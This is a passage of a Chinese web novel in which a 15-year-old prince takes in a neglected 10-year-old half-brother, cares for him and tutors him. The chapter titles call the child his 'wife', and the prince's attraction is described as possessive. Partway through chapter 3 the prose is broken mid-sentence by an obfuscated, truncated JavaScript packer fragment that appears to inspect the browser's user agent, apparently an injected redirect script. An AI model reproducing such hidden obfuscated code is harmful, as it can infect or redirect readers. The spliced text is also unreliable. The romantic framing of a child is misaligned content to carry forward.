《你们太子都随地捡老婆吗》 1. 捡到老婆第1天 皇城内。 灯火通明,晃乱了人的眼。 断壁残垣处,微弱的嘤咛自不远传来,和蝉鸣混杂在一起,叫人听不清。 原本被宫人围着的少年突然停下脚步,回头望去,入目却只是一片漆黑,唯有点点灯烛忽明忽闪的光影。 “大皇子,怎么了?”在他最身侧的太监关切问道。 问话间,只见少年微微垂眸,陷入了沉思。 少年名唤谢临沅,是大虞朝皇后所生,为长子,如今年有十五。 当今圣上还未设立储君,按照大虞朝立嫡以长不以贤的规矩,不少朝臣皆认为谢临沅坐上太子的位置是众望所归,只因他是公认的嫡长贤兼备之人。 京城有个乞丐曾言,当时自己在闹饥荒几近馁死,正逢大皇子出宫经过,如同谪仙降世的大皇子却不嫌他脏,亲自将自己背去了医馆,救了自己一命。 也是因此,大皇子谢临沅十二岁便名望京城。 谢临沅没说话,只是推开层层宫人,重新走了回去,本毫无目的的一段路,却让他最终在冷宫的某个狗洞前看见了想看见的东西。 那是一个年幼的孩子。 那孩子唇边不断溢出嘤咛,可他呼吸微弱,根本起不了多少的作用。 他生得极为精致,却因长期的痛苦而显得憔悴不堪。巴掌大的小脸上,眉如远山含黛。 睫毛长而密,在苍白的肌肤上投下一片阴影,随着微弱的呼吸轻轻颤动。鼻梁秀挺,唇色淡得几乎与脸色融为一体,只余唇角干裂的血痕刺目惊心。 他的皮肤却是近乎透明的白,能清晰地看见底下淡青的血管。 几缕乌黑的发丝黏在汗湿的额前,更显得他像个被人丢弃的精致人偶,唯有胸膛微不可察的起伏证明他还活着。 谢临沅缓缓蹲下身,指尖拨开那孩子凌乱的发丝,露出一张称得上艳丽的眉眼。 冷宫附近的晚风卷着尘沙掠过,空气里浮动着散发热气的尘埃,那孩子的体温却微弱得几乎察觉不到,仿佛随时会消散在这片荒芜里。 身后的太监连忙追了上来,因着天色昏暗,他也没有瞧见狗洞那有个孩子,他舞着手中的拂尘,哎呦一声喊道:“大皇子,冷宫污秽重,莫脏了你的身子,快快回来。” 谢临沅没怎么犹豫,用指腹擦去眼前孩子脸颊上的血迹,他伸出手,抱起脏兮兮的小孩,随后转过身,对刚刚说话的太监孟九尘吩咐道:“回宫,备热水。” 孟九尘看着谢临沅怀中的孩子瞪大了眼睛,他匆匆使唤着婢女:“去备热水。” 那孩子似乎察觉被人抱了起来,迷迷糊糊地睁开眼,就见眼前出现了一张如谪仙般的面庞,他瘦弱的小手揪住谢临沅的衣襟,身上冷得发颤,使出了浑身力气往谢临沅怀中钻。 谢临沅察觉到怀中的人醒了,他温热的掌心抚上孩童的脸颊,声音温润:“带你回去。” 回到宫中,婢女朝谢临沅行礼,低头说道:“殿下,交给我吧。” 谢临沅垂眸,看着怀中的孩童,指腹擦着上面的泥渍,半晌才开口:“我来吧。” “殿下,万万不可!”孟九尘急忙劝道。 这孩子在冷宫附近发现的,身上还有着血迹和泥土,是如何都不能让谢临沅亲自洗浴的。 谢临沅将孩子搂紧,神色依旧保持着先前的温和,他开口,语气却不容拒绝:“我说我来。” 孟九尘讪讪收回手,他朝婢女使着眼色。 “孟九尘,让他们都退下。” “都退下,”等到婢女退下后,孟九尘朝着谢临沅伸出双手,想要接过谢临沅怀中的孩子,“殿下,奴才来。” “我说了,我来。”谢临沅淡淡说道。 孟九尘还想继续劝阻,却被谢临沅扫了一眼。 那一眼不复平日温和的表面,而是深深的不耐。 孟九尘心惊,慌忙低下头:“奴才退下了,就在门外候着,殿下有事请随时叫奴才。” 谢临沅颔首,神色又恢复了寻常。 孩童身上的衣物被褪尽,破损的麻衣被扔在地上,谢临沅垂眸,神色突然愣住。 和他想象中的不同,这孩子身上并没有密密麻麻的青紫,反而格外白皙干净。 他将孩子放入浴桶中,待把血迹和尘土洗尽,谢临沅用自己的外袍裹住了孩子的身子。 他对着站在门外的孟九尘吩咐道:“去寻一套孩童的衣物来,再往膳房要一碗粥。” “好的,殿下。” 须臾,孟九尘敲了一下房门:“殿下,粥和衣物都寻来了。” 只消一瞬,门便被打开。 月光莹莹,撒照在门前的温润皇子上,他伸出那双修长的手,声音平静:“给我罢。” 孟九尘双手将衣物和粥递给谢临沅,随后门便被谢临沅合上。 谢临沅静步走到床沿,少年娇嫩的掌心抚上孩童的脸颊,摸上上面还未结痂的伤痕。 眼前的孩子已然睡着,谢临沅探了一下他的鼻息,见孩子没事,才给他穿上衣物。 他坐在床边,让孩童的头抵着自己的膝盖,一勺一勺往孩童口中灌入稀粥。 一碗粥喝完他将被褥压好,重新走出卧房外,将空碗递给孟九尘,吩咐道:“去查一下这孩子是谁。” 孟九尘连连应下,心里却起了想法。 平日里都说大皇子为人温润如玉,可他是看着大皇子长大的,心里也知晓大皇子几乎不可能捡个约莫七八岁的孩童,更别说带进自己的卧房,为那孩童亲自洗浴。 可那孩童,孟九尘思来想去也没看出个名堂,除了格外好看,也没看出那孩童有什么吸引人的地方。 总不能是他家殿下受神仙指引,要他去捡个孩子,并亲力亲为地照顾吧? 想不出源头,孟九尘也不再多想,而是转身去调查那孩子的来处。 谢临沅则是回到了床沿,偏头看着那孩子的样貌。 他生平头一次见到这么好看的孩子。 起初是以为附近的声音是有刺客或者窃贼受伤,想去探查,结果就看见了这个可怜兮兮的孩子。 能生出长得这么好看的孩子,想必他的父母长相也不会差。 谢临沅自以为是宫中某个宫女和侍卫苟且,发现有孕后生下来的的,后来便扔进了鲜少有人去的冷宫任他自生自灭。 旁人不知道,谢临沅天生就喜欢好看的东西,甚至对他喜欢的好看的东西有强烈的占有欲。 他指尖轻抬,触上孩童的睫毛。 似乎感觉到有人在碰自己,孩童的眼睫颤了颤。 唇边再次溢出嘤咛,磕磕绊绊地说道:“娘...不...不要...” 谢临沅眉头微蹙。 莫非他判断失误,这孩子是有娘亲的? 如今孟九尘还在调查,谢临沅如何猜测都想不出正确答案,时辰并不算太晚,他点亮书案上的烛火。 指尖抽出一本《资治通鉴》读了起来。 半个时辰后,困意向谢临沅的脑中涌来,他起身回到床边,褪下自己的衣物。 谢临沅看了眼躺在自己床榻上睡熟的孩童,躺到床上后便将孩童拥入了怀中,似是察觉到身侧袭来的温热,孩童止渴般地挤进谢临沅怀中。 谢临沅睫毛微垂,指尖顺着孩童的发丝,他温声说道:“睡吧。” 翌日,晨日升起,一缕金光撒入房中。 谢临沅睁开,就见那孩童早已醒来,正睁着眼睛盯着自己瞧。 这孩子看上去也就七八岁的样子,在那个年纪,谢临沅还记得他的皇弟们不少都会在巳时才醒。 而现在才卯时。 “不睡了吗?”谢临沅问道。 那孩童没有说话,只是眨眨眼,张着嘴打了个哈欠。 谢临沅失笑,他捏了捏孩童没什么肉的脸颊,柔声说道:“再睡会吧。” 眼前的孩子似乎没听懂谢临沅说了些什么,谢临沅也不急,他掌心盖在孩童的眼睛上。 几息后,谢临沅抬起手,就见孩童已经又睡过去了。 他从床上起身,将被褥给孩子盖好,换好衣物,踏出卧房。 刚出去,就在前殿看见了孟九尘。 谢临沅在椅上坐下,接过另一个小太监倒来的茶,放在唇边轻抿了一口,随即问道:“查到了吗?”< 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“谢玉阑。”谢临沅一字一顿地将这孩子的名字放在舌尖嚼着。 “他母妃也是冷宫的?” 他问道。 孟九尘连连点头,他资历老,也知道一些事情:“他母妃宁氏十年前格外受宠,不过突然被查出给如今的贵妃娘娘做法事扎小人,恰逢贵妃娘娘流产,陛下便认为此事是宁氏所为,将宁氏打入冷宫,可宁氏刚好有孕,陛下便让他诞下皇子后再搬入冷宫。” “结果,那孩子是个痴儿,出生时不哭不闹,甚至还有黑鸦蹄叫,便认为是不祥之兆,陛下便将那孩子也送入冷宫了。” 孟九尘将自己一夜打探到的消息讲尽,说完后他等待着谢临沅的回复。 他已经在脑中想好了把谢玉阑送回冷宫,再找个大师替谢临沅去晦气的流程了。 结果谢临沅说出的话却和他的想法全然不同。 “留下吧,我来照顾。”谢临沅将茶杯搁置在桌上,一言便下了决定。 “殿下!万万不可!这孩子乃不祥之兆啊!” 孟九尘听见谢临沅的话,慌忙跪下,劝着谢临沅收回决定。 谢临沅垂眸,没说话,只是在心里想着些事情。 谢玉阑已经十岁了,可看上去却同七八岁的孩童一样,显然营养不良。 若是将他送回冷宫,按照昨晚发现时的情况,不知道还能活多久。 也不知道得养多久才能养的白白嫩嫩。 孟九尘见谢临沅迟迟不说话,以为谢临沅在心中权衡利弊。 他继续劝道:“殿下!这孩子怎么说也是个皇子,若他回到冷宫自行毙亡,您也少了夺位的一个隐患啊!” 一股冷气穿过孟九尘的身子,他抬眸,就见谢临沅皱眉盯着自己。 “孟九尘,母妃让你来盯着我,是教你来让我残害手足见死不救的是吗?”谢临沅淡淡道。 可孟九尘知道,若他再说下去,谢临沅就会以对皇子不利的罪名将他赐死。 “殿下,奴才说错了!”孟九尘高高抬起手,准备扇自己耳光。 高高悬起的手被拦住,他抬眼,对上谢临沅温润的神色。 “孟公公不必如此,我自不会说出今日你说之话,”谢临沅收回手,靠在椅背上,“不过吾乃真龙之子,难不成还惧这不祥之兆?” 孟九尘心脏猛烈跳了一下,面前的少年才十五岁,便展露出不凡的气势,他连连磕头:“殿下自然不惧,只是此事恐怕需要和陛下皇后商议。” 谢临沅轻笑出声:“我心里自然有数。” 孟九尘起身,刚走出殿门,就看见昨夜他打探消息时遇见的冷宫侍卫。 侍卫朝孟九尘挥挥手。 孟九尘走了过去,问道:“怎的了?” “孟公公,您昨日不是还在打探宁庶人吗?”侍卫道。 “何事?” 孟九尘知道这侍卫不会平白无故过来。 “宁庶人,昨日自戕了!” 2. 捡到老婆第2天 谢临沅坐在桌前,指腹贴着桌沿,他听完孟九尘的话,抬眸看向宫女,问道:“小殿下醒了吗?” 剪春微微一怔,很快反应过来谢临沅口中的小殿下是谁,应道:“方才醒了,奴婢为他倒了杯茶,领到寝殿正堂坐着了。” 谢临沅颔首:“回去吧。” 他踏着满阶碎金回到寝殿,檐角铜铃被晨风拨出清越声响,惊起琉璃瓦上栖着的两只云雀。 “殿下。”守在寝殿旁的奴才婢女纷纷行礼。 谢临沅微微抬手,淡声说道:“免礼吧。” 殿内传来瓷器轻碰的声响。 谢玉阑正捧着甜白釉茶盏发呆,听见声响立刻转过头。洗去血污的小脸在烛光下像块温润的羊脂玉,偏生左颊还留着道结痂的伤痕。 “殿、殿下。”听见婢女的话,意识到面前人是皇子,他笨拙地要下榻行礼,膝盖却撞翻了矮几上的蜜饯盒子。 晶莹的杏脯滚了满地,有几颗正巧停在谢临沅靴前。 谢临沅弯腰拾起一枚,指尖碾过糖霜时想起孟九尘的禀报。 宁庶人是用半截断簪自尽的,发现时血已经浸透了冷宫那张霉烂的蒲席。他望着眼前懵懂的孩子,一阵心疼涌上心尖。 “唤我皇兄就好。”他蹲下身与谢玉阑平视,掌心托着那枚沾了尘土的杏脯,又拿起一块完好的杏脯递到谢玉阑唇边。 谢玉阑偏头,反应了一会,含住谢临沅递到自己唇边的杏脯,乖乖喊道:“皇、皇兄...” 谢临沅站起身,坐在椅凳上,弯腰将眼前瘦小的稚子抱了起来,谢玉阑坐在谢临沅腿上,突然的悬空让他情不自禁地抓住了谢临沅的衣襟。 谢临沅指腹拭去谢玉阑唇边的糖渍,看着面前脸颊鼓起的孩子,终是开口:“你母妃去世了。” 虽说他也不知谢玉阑能否听懂自己话中的意思。 心中的烛花爆了个响。 谢玉阑眨了眨眼,浓密的睫毛在眼下投出颤动的阴影。 他迟钝地歪着头,忽然将脑袋埋入谢临沅胸口,磕磕绊绊地说道:“昨日娘、娘睡、睡久不、不醒,有、有红、红红的、的水...” 破碎的语句裹着稚嫩的童音,像把钝刀子往人心上扎。 可谢临沅得让谢玉阑面对这个事实。 “玉阑的娘去世了,再也醒不来了,换了个地方保护玉阑。”谢临沅的掌心贴上谢玉阑的头顶,用拇指静静抚慰着。 谢临沅想起孟九尘方才在回来路上说的,钝感之人并非没有情感,只是来得比常人慢些。 果然下一刻,大颗泪珠便断了线似的砸在两人交叠的手背上。 “要、要看娘...”孩童抽噎着往他怀里钻,结巴得几乎说不出完整句子。 谢临沅抚着他单薄的脊背,能清晰摸到蝴蝶骨凸起的形状。这样的身子骨,怎么在冷宫活到十岁的? “好,皇兄带你去看娘。” 说罢,谢临沅就站起身,却没有松开抱着谢玉阑的手。 谢临沅抱着谢玉阑站在了冷宫门口。怀中的小身子突然剧烈颤抖起来。 “怕、怕...”谢玉阑把脸埋进他颈窝,指甲无意识地掐进他后颈皮肉。 谢临沅任由他抓着,抬脚踢开虚掩的殿门。 蛛网簌簌落下,露出角落里蒙着白布的轮廓。 他将谢玉阑放下,指着不远处用白布盖着的棺椁,“娘亲在那。” 谢玉阑理解到了谢临沅的话,谢临沅看着他慢慢走到尸身旁,脏兮兮的小手悬在布面上方迟迟不敢掀开。最终只是把额头抵在冷硬的木板边缘,发出幼兽般的呜咽。 不知过了多久,谢玉阑才停下哭泣,抬起那双通红的小兽眼睛,指尖不停搅动着白布:“玉阑是、是不是没、没有娘、娘了..” 对于一个天生顿感的孩童,冷宫是他的住所,而宁庶人则是他唯一的亲人。 现在唯一的亲人没了,自然也就陷入了迷茫。 “玉阑,”谢临沅解下腰间玉佩,走过去蹲到孩童身旁,“你看。” 莹润的羊脂玉在阴暗的房中泛着柔和的光,渐渐吸引了泪眼的注视,那玉佩不大,适合带在谢玉阑手上。 “这是皇兄出生时便带着的玉佩,现在给你保管,”他将红绳系在孩子纤细的腕上,“跟着皇兄,皇兄带着你回去好不好?” 谢玉阑茫然地摸着玉佩,又转头看向白布下露出的一截青灰手指。 曜日忽然被游云遮蔽,室内彻底陷入黑暗。 谢玉阑惊慌地扑进谢临沅怀里时。 “愿意和皇兄回宫中吗?”谢临沅将谢玉阑裹入臂弯,感觉胸前衣料被泪水浸得冰凉。 怀中的小脑袋终于很轻地点了点,发丝蹭过他下颌时带着细微的痒。 晡时。 谢临沅立在未央宫宫外等传召,不远处传来细乐声,是沈氏沈贵妃宫中的午茶队伍正经过汉白玉拱桥。 捧着金丝蜜枣的宫女们步履轻盈,像群掠过镜面的翠鸟。 “大殿下,皇上唤你进去。”皇帝身边的大太监上前,对谢临沅说道。 谢临沅颔首。 “儿臣请父皇母后安,”他行礼时瞥见帝后案前的水晶盏,里头湃着的荔枝还带着岭南晨露,“冷宫宁庶人已逝,儿臣想将其子玉阑留在身侧,皇弟年幼,儿臣于心不忍。” 皇帝听完他的请求后久久不语,拇指摩挲着翡翠扳指的样子,与批斩立决奏章时一般无二。 他想起来这个孩子了,皇子中排老八,不过他只在出生时看了一眼。 “沅儿,”皇后林轻将茶盏搁在案上,发出清脆的磕碰声,“你可知冷宫那孩子命格带煞?” 她看着奏章上“宁氏畏罪自戕”的字样,又道:“何况他母妃...” “儿臣昨夜梦到青龙盘柱,”谢临沅突然抬头,透过窗棂的日光在他眉眼间投下阴影,“那龙首落在冷宫方向,口衔赤珠。” 他看见帝后交换的眼神,知道这个谎撒得恰到好处。 皇帝最近正为北疆战事求吉兆,而谢临沅这个谎正好能解皇帝心中之急。 沉思片刻,皇帝最后还是应了下来。 “那便留在皇后身边吧,既已将玉阑接出冷宫,自是要由太师授课的,不过那孩子迟钝,临沅...” 话未说尽,谢临沅却已知晓皇帝口中未说完的话是什么。 他行礼,应下:“儿臣自会亲自教育皇弟四书五经。” 皇帝这才露出一个笑容,他起身,走到谢临沅身侧,拍拍谢临沅的肩膀:“父皇相信你。” 离殿时,谢临沅停在回廊拐角。 从冷宫回去后,谢玉阑就哭累睡去了。 谢临沅想,此刻谢玉阑应该正裹着他的锦被酣睡,说不定怀里还抱着他留下的玉佩。 孟九尘小跑着追上来说道:“殿下,太医说小殿下脾胃虚弱,晚膳备了山药粥...” “加一碟玫瑰酥,”谢临沅打断他,“要膳房李嬷嬷做的。” 走过太医院时,他忽然驻足。 院外药童正在翻晒的药材里,有朵桔梗被错当成根茎收了进去。 谢临沅走近,伸手将它拣出来,桔梗的花瓣在他掌心轻轻颤动。 “告诉太医,”他将桔梗收拢掌心,“申时来给小殿下请脉时,带些安神的蜜丸来。” 谢临沅回到寝殿时,殿内静悄悄的。 谢玉阑蜷缩在床榻最里侧,小手中紧紧握着谢玉阑给他的玉佩。 他睡得很不安稳,眉头微微蹙着,睫毛上还挂着未干的泪痕。谢临沅站在床边看了片刻,伸手轻轻拂去他眼角的湿润。 “皇、皇兄?”谢玉阑迷迷糊糊睁开眼,嗓音还带着哭过的哑。 谢临沅嗯了一声,在床沿坐下,指尖拨开他额前凌乱的碎发:“睡得好吗?” 谢玉阑摇摇头,又点点头,迟钝地反应了一会儿,才慢吞吞爬起来,跪坐在床上,仰着脸看谢临沅。 他的眼睛很漂亮,黑白分明,像浸在清水里的墨玉,此刻还泛着浅浅的红。 谢临沅心尖微微一颤,伸手捏了捏他的脸颊:“饿不饿?” 谢玉阑点点头,又摇摇头,最后小声说:“想、想娘...” 谢临沅静了一瞬,随即温声道:“我带你去见她,好不好?” 谢玉阑眼睛一亮,又很快黯淡下去,手指无意识地绞着衣角:“娘走、走了...” 谢临沅握住他的手,轻轻拢在掌心:“嗯,但她会一直看着你。” 冷宫比今日早晨更显荒凉。 宁庶人明日便要送出宫下葬了。 殿内阴冷潮湿,角落里结着蛛网,几片残破的纱帐垂落在地,被风吹得轻轻晃动,像垂 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他转过头,重新看向白布下的轮廓,忽然伸手,小心翼翼地碰了碰边缘露出的指尖。 是冷的。 可他像是被烫到一般缩回手,眼泪掉得更凶,却不再出声,只是无声地哭着,肩膀一耸一耸的,像只被遗弃的小兽。 谢临沅看着他,忽然伸手将他揽进怀里。 谢玉阑没有挣扎,乖乖靠在他胸前,眼泪浸湿了他的衣襟。谢临沅轻轻拍着他的背,低声道:“哭出来。” 谢玉阑终于呜地一声哭了出来,死死攥着谢临沅的衣襟,断断续续地喊:“娘...娘...” 谢临沅任由他哭,直到他哭累了,声音渐渐弱下去,小口小口喘着气,才用指腹擦去他脸上的泪痕,温声问:“要走吗?” 谢玉阑红着眼睛看他,点了点头。 谢临沅唇角微弯,将眼前的小殿下打横抱起来,转身往外走。谢玉阑靠在他肩头,最后回头看了一眼冷宫,小声道:“娘、娘,再、再见...” 回北宫的路上,谢玉阑一直很安静。 他缩在谢临沅怀里,手指无意识地玩着腕间的玉佩,玉佩温润莹白,衬着他纤细的手腕,像是雪地里的一捧玉。 谢临沅低头看他:“喜欢吗?” 谢玉阑点点头,小声道:“是皇、皇兄的...” 谢临沅“嗯”了一声,指尖轻轻摩挲过他的腕骨:“以后就是你的了。” 谢玉阑眨了眨眼,忽然仰起脸,很认真地说:“皇、皇兄,好、好。” 谢临沅失笑,捏了捏他的鼻尖:“哪里好?” 谢玉阑皱着小脸想了半天,最后憋出一句:“杏、杏脯甜。” 谢临沅低笑出声,胸腔微微震动,谢玉阑趴在他怀里,能听见他沉稳的心跳声。 到了晚膳时,谢临沅亲自喂谢玉阑喝粥。 谢玉阑胃口不好,喝了几口就不肯再张嘴,蔫蔫地靠在软枕上,像是被抽走了精气神。 谢临沅也不勉强,将碗搁在一旁,伸手摸了摸他的额头:“难受?” 谢玉阑摇摇头,又点点头,最后小声道:“想、想睡...” 到底是个孩子,觉多。 谢临沅替他掖好被角,温声道:“睡吧,我在这儿陪你。” 谢玉阑乖乖闭上眼睛,手指却还揪着谢临沅的袖角,像是怕他走了似的。 谢临沅任由他抓着,靠在床头,让婢女将昨日未看完的《资治通鉴》拿来,让他翻看。 殿内静悄悄的,只有书页翻动的轻响和谢玉阑均匀的呼吸声。 不知过了多久,谢临沅忽然感觉袖角被轻轻拽了拽。他低头看去,谢玉阑不知何时醒了,正睁着一双湿漉漉的眼睛看他。 “怎么了?”谢临沅合上书,伸手抚了抚他的发顶。 谢玉阑抿了抿唇,小声道:“皇、皇兄...不、不走?” 谢临沅眸色微深,指尖划过他的脸颊肉,低声道:“不走。” 谢玉阑像是安心了,往他身边使劲蹭了蹭,又闭上眼睛。 谢临沅看着他乖巧的睡颜,忽然俯身,揉了揉眼前人紧皱的眉心。 “睡吧,”他轻声道,“以后皇兄护着你。” 3. 捡到老婆第3天 答应了皇帝教育谢玉阑,谢临沅自然是要去做的。 花了几日他便寻出了幼时读的四书五经,并吩咐孟九尘在自己的书案旁搭了一个小桌子。 初夏的阳光透过雕花窗棂洒进书房,在青石地板上投下斑驳的光影。 谢临沅端坐在紫檀木书案后,手中捧着一卷《论语》,目光却落在身侧的人身上。 谢玉阑跪坐在蒲团上,双手捧着另一册书卷,眉头紧锁。 他今日穿了一件月白色的长衫,衬得肤色如雪,只是那双向来透亮清澈的眼眸此刻盛满了困惑。 谢临沅知道,谢玉阑前十年几乎没经历过正统学习,但听冷宫的嬷嬷说宁庶人曾经教过谢玉阑识字,总比一窍不通好教的多。 “玉阑,跟我念,”谢临沅的声音温和而坚定,“学而时习之,不亦说乎。” 谢玉阑的嘴唇蠕动了几下,结结巴巴地重复:“学、学而...时...习之...,不亦..约乎..” 他的声音软糯,带着点怯生生的味道,像只刚学会啼鸣的幼雀。谢临沅静静听着,目光落在他微微颤动的睫毛上。 那睫毛又密又长,在眼下投出一小片阴影,随着他读错的字词轻轻抖动,像是受惊的蝶翼。 “有、有朋、朋自、自远方来...”谢玉阑念到一半,突然卡住,眉头皱成一团,手指无意识地揪着书页边缘,把那处揉得发皱。 谢临沅伸手按住书页,温声道:“不亦乐乎。” “不、不亦、亦乐乎...”谢玉阑跟着念完,悄悄松了口气,抬眼偷瞄谢临沅的表情。 “还有前面一句,”谢临沅摇头,却没有丝毫不耐,“看着我的嘴型,不亦说乎。” 谢玉阑抬起头,目光落在谢临沅的唇上,专注地模仿着:“不、亦、说、乎...” “很好,”谢临沅眼中闪过一丝笑意,又重复了一遍,“不亦说乎。” “不、亦...”谢玉阑的声音渐渐弱了下去,眉头皱得更紧。 谢临沅放下书卷,伸手抚平被揉皱的书页,然后轻轻揉了揉谢玉阑的下巴,轻声安抚道:“别急,我们慢慢来。” 谢玉阑的眼中映着窗外的天光,清澈见底。 谢临沅能从那双眼睛里看到自己的倒影。 “这样吧。”谢临沅从案几下取出一个描金漆盒,掀开盖子,里面整齐码着琥珀色的杏脯,蜜糖的甜香立刻飘了出来。 谢玉阑眼睛一亮,下意识咽了咽口水。 “背完一句,就给你一颗。”谢临沅道。 谢玉阑后面没听清谢临沅说了什么,这几日谢临沅常常喂他杏脯,他伸手就要去拿。 谢临沅却将杏脯举高,他指尖捏着谢玉阑的小脸,轻声说道:“背了才有。” 谢玉阑眨眨眼,努力理解着谢临沅话里的含义。 知道杏脯是背完才有的以后,谢玉阑就重新举起了手中的论语。 “学而、而时、时习之...”谢玉阑努力回忆着,小脸憋得通红,“不亦、不亦...” 谢临沅耐心等待,看着阳光在谢玉阑纤长的睫毛上跳跃。 窗外传来几声鸟鸣,远处宫人走动的脚步声隐约可闻,但这些都无法分散谢玉阑此刻全部的注意力。他正全神贯注地盯着谢临沅手中的杏脯。 “不亦说乎,”谢玉阑背完,就抬起那双亮晶晶的眼睛看向谢临沅,“背、背好了..皇兄。” 谢临沅笑了,将一颗杏脯放入他掌心:“很好。那我们再背一遍?” 谢玉阑迫不及待地将杏脯塞入口中,杏脯的甜味让他眯起了眼睛。 他咀嚼了几下,含糊不清地重复:“学、学而、时、时习之,不亦、亦、说乎。” “不错,”谢临沅赞许地点头,“现在把书拿起来,我们继续下一句。” 谢玉阑的表情立刻垮了下来,不情不愿地捧起书卷。 谢临沅看着他这副模样,心中既好笑又怜惜。 虽然谢玉阑心智迟钝,但谢临沅发现他并非完全不能学习,只是需要极大的耐心和恰当的激励。 “有朋自远方来,不亦乐乎。”谢临沅一字一顿地念道。 谢玉阑跟着念了一遍,却颠倒了几个字的顺序。谢临沅不厌其烦地纠正,一遍又一遍,直到谢玉阑能够勉强读顺。 然后又是漫长的背诵过程,一颗杏脯的承诺支撑着谢玉阑反复尝试。 谢玉阑急得往前蹭了蹭,膝盖碰到案几边缘也顾不上疼,结结巴巴地开始背:“有、有朋、自远方..” 小殿下背到一半又卡住,急得眼眶都红了。 谢临沅也不催他,自顾自地翻开《资治通鉴》批注,时不时抬眼看他一下。谢玉阑就像只被肉骨头吊着的小狗,眼巴巴地盯着漆盒,绞尽脑汁地回想那句话。 一炷香的时间过去,书房里只剩下谢玉阑磕磕绊绊的背诵声和谢临沅偶尔的提点。 窗外的日影渐渐西斜,照在谢玉阑的额发上。 “有朋自、自远方、方来..不亦乐、乐乎..”谢玉阑突然完整地背了出来,眼睛亮晶晶地看向谢临沅,“皇兄!” 谢临沅合上书卷,将杏脯递到他嘴边,夸奖道:“我们玉阑很棒。” 谢玉阑迫不及待地咬住杏脯,甜味在舌尖化开的瞬间,他满足地眯起眼,像只偷到腥的猫儿。谢临沅伸手擦去他唇角的糖渍,忽然听见殿外传来一阵环佩叮当声。 正当两人说话间,外面传来一阵脚步声,接着是太监尖细的通报声:“皇后娘娘驾到!” 谢临沅放下手中书卷,站起身。 谢玉阑却还茫然地坐在原地,直到谢临沅轻轻拉了他一把,才慌慌张张地站起来。 皇后一身朱砂色宫装,头戴金凤步摇,在宫女太监的簇拥下步入书房。她的目光先是在谢临沅身上停留片刻,然后才扫过站在一旁的谢玉阑,眼中闪过一丝几不可察的探究。 “儿臣参见母后。”谢临沅恭敬行礼,同时轻轻拽了拽谢玉阑的袖子。 谢玉阑笨拙地学着谢临沅的样子行礼,却因为动作不协调差点绊倒自己。 谢临沅眼疾手快地扶住他,换来皇后一声轻叹。 皇帝将谢玉阑送至她膝下,她自然也派人去打听了谢玉阑前十年的生活。 “沅儿是在教他读书?”林轻走到书案前,随手翻看摊开的《论语》,“何必白费功夫。” 她当时也听见了皇帝的要求,却不认为谢玉阑这个傻子能学会什么。 谢临沅教了也是白教,还浪费时间。 谢临沅神色不变:“玉阑很聪明,只是学得慢些。今日已经能背两句了。” 林轻不置可否地哼了一声,道:“你五岁就能背完论语了。” 她的目光落在谢玉阑身上。 谢玉阑感受到那审视的目光,不自觉地往谢临沅身后躲了躲。 “母后今日来,可是有事吩咐?”谢临沅巧妙地转移了话题。 皇后这才收回目光,脸上露出笑容:“本宫命人做了些新衣裳给你送来,顺便看看你。” 她顿了顿,又道:“只是没想到你这么用心教导这孩子。” 谢临沅眉眼微弯,开口:“毕竟玉阑是儿臣的皇弟,儿臣自是要好好教他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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皇后又嘱咐了几句起居饮食的事,便起身离去。谢临沅一直送到宫门外,直到皇后的仪仗消失在宫道尽头,才返回书房。 谢玉阑还站在原地,手中捏着那颗金锁,一脸茫然。见谢临沅回来,他立刻露出安心的表情,小跑几步迎上前。 谢临沅伸手替他整理了一下衣领,让金锁端正地挂在胸前:“喜欢吗?” 谢玉阑低头看了看金锁,又抬头看看谢临沅,突然露出一个灿烂的笑容。 那笑容纯粹得不掺一丝杂质,让谢临沅心头一颤。 “饿了吗?”谢临沅柔声问。 谢玉阑点点头,然后像是突然想起什么,举起手中没吃完的杏脯,递到谢临沅唇边。 谢临沅愣了一下,随即低头就着谢玉阑的手将杏脯含入口中。 “为什么要给皇兄杏脯?”那杏脯在谢玉阑掌心很大,但谢临沅却一口吃完了。 谢玉阑盯着谢临沅看了半晌,伸出还沾着糖霜的掌心,贴上谢临沅的脸颊,他慢吞吞却极为认真地说道:“因、因为、皇兄对、玉阑、好、好,玉阑、喜、喜欢、皇兄,杏脯、好吃、吃、皇兄也吃。” 孩童表达喜欢的方式很诚恳,谢临沅理解了谢玉阑话里的意思。 因为皇兄对他好,所以他也要对皇兄好。 又因为杏脯好吃,所以要给皇兄吃杏脯。 谢临沅失笑,他捏住谢玉阑的指尖,晃了晃,弯着眼眸道:“皇兄也喜欢玉阑,玉阑这么可爱,大家都会喜欢你的。” 4. 捡到老婆第4天 将谢玉阑养在身边的第七天。 夜晚,窗外繁星点点,月光透过窗棂撒在直着身子跪坐在贵妃榻上的孩童脸上。 谢玉阑伸长脖子,将脸颊靠在谢临沅的上臂上。 他偏头抬眼,仔细打量观察着皇兄。 谢临沅确实不愧为皇宫中小宫女的梦中情人,他的性子温润却不失直白,待人也是极好的。 少年才十五岁,就已经流露出了帝王之姿,谢玉阑前几日还听见有几个小宫女说储君的位置是谢临沅的。 他的长相并不凌厉,相反是十分温和的长相。眼尾微微下垂,鼻梁高挺却不突兀。一头黑发柔软,微微垂落额前,坐在那里就如同一副山水墨画。 谢玉阑的视线落在谢临沅翻动竹简的指尖上。 眼前的手如玉竹般指节分明,谢玉阑情不自禁地想要凑近去瞧。 可还没等仔细瞧个彻底,下巴就被一股很轻的力道握住。 “玉阑,怎么盯着皇兄?” 谢临沅温和的声音传入谢玉阑耳中。 稚童努力将皇兄的手从脑海中甩出,消化着谢临沅话里的意思,然后慢吞吞地说道:“皇、皇兄,好、好、好看。” 谢临沅轻笑出声,抬起谢玉阑的下巴,将眼前人的长相完完整整地印入自己眼中。 在他眼里,谢玉阑才是最漂亮的。 他十五年来,头一次见到这么精致的人。 谢玉阑自然不知道皇兄在想些什么,只知道谢临沅的指腹摩挲着自己的脸颊。 在他眼里,这就是皇兄对自己表示喜欢的动作。 于是下一秒,谢玉阑就如同小狗一般蹭着谢临沅的胳膊,眼睛里宛若含着星光,嗓音也软:“皇、皇兄,你最好看了。” 似是没想到谢玉阑后面一句话说的这么顺,谢临沅显然惊诧,但很快他就反应过来,弯着眸子回道:“玉阑也好看。” 